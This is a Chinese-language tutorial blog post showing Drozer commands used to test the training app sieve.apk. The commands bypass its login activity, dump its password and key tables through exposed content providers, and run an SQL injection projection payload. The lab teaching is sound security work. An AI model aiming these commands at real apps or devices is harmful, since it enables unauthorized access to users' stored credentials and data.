Drozer渗透测试工具(使用篇)

一、前言

这里主要以sieve.apk为测试应用,来展示Drozer的功能点,起到一个抛砖引玉的作用

二、获取所要测试的apk的完整包名

命令:run app.package.list -f 包名关键字
示例:run app.package.list -f sieve


可见,sieve.apk的完整包名为:com.mwr.example.sieve,可为后面的命令做参考

三、获取包的基本信息

命令:run app.package.info -a yourTestPackageName
示例:run app.package.info -a com.mwr.example.sieve

可以看到sieve的版本信息,数据存储目录,用户ID,组ID,共享库,权限等信息

四、查找攻击面

命令:run app.package.attacksurface yourTestPackageName
示例:run app.package.attacksurface com.mwr.example.sieve

可以看到Android四大组件中,分别的暴露数分别为,3、0、2、2

五、对Android四大组件测试

1、Activity组件漏洞测试

(a)、查看全部对外暴露的activity组件信息
命令:run app.activity.info -a yourTestPackageName
示例:run app.activity.info -a com.mwr.example.sieve

Activity组件暴露分析:
com.mwr.example.sieve.MainLoginActivity是sieve.apk的启动的主界面,是必须可导出的,但剩下的两个理论上是不能导出的

(b)、对三个activity分别导出
命令:run app.activity.start --component yourTestPackageName youWantToActivity
示例:run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity

com.mwr.example.sieve.MainLoginActivity的导出
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity

com.mwr.example.sieve.PWList的导出
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

com.mwr.example.sieve.FileSelectActivity的导出
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity

由此可以看出,PWList和FileSelectActivity是直接绕过了MainLoginActivity,可以直接启动的,说明存在acitivty的越权漏洞

(c)、其他的app上的activity示例

由此可见,这里除了正常的启动activity之外,还有三个第三方登陆,微信、微博和QQ,说明此应用的activity组件也是正常的

2、Content Provider组件漏洞测试

(a)、获取Content Provider信息
示例:run app.provider.info -a yourTestPackageName
命令:run app.provider.info -a com.mwr.example.sieve

(b)、Content Providers(数据泄露)
获取所有可以访问的uri:
run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/

(c)、检测可利用uri,检查sql注入
run scanner.provider.injection -a com.mwr.example.sieve

(d)、利用暴露的content provider进行sql注入
使用Sql注入列出数据库中的所有数据表
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "

从File System-backed Content Providers获取信息
检测目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve

下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)

3、Broadcast组件测试

(a)、获取broadcast组件的信息
命令:run app.broadcast.info -a yourTestPackageName
示例:run app.broadcast.info -a com.mwr.example.sieve

没有暴露的bradcast组件

(b)、其他app的示例

暴露的broadcast组件是taobao的,说明也是安全的

4、services组件测试

(a)、获取service组件的信息
命令:run app.service.info -a yourTestPackageName
示例:run app.service.info -a com.mwr.example.sieve

(b)、其他app的示例

参考博客:https://blog.csdn.net/samlirongsheng/article/details/104926282

posted @ 2020-08-04 19:54  未来可期_Durant  阅读(687)  评论(0编辑  收藏  举报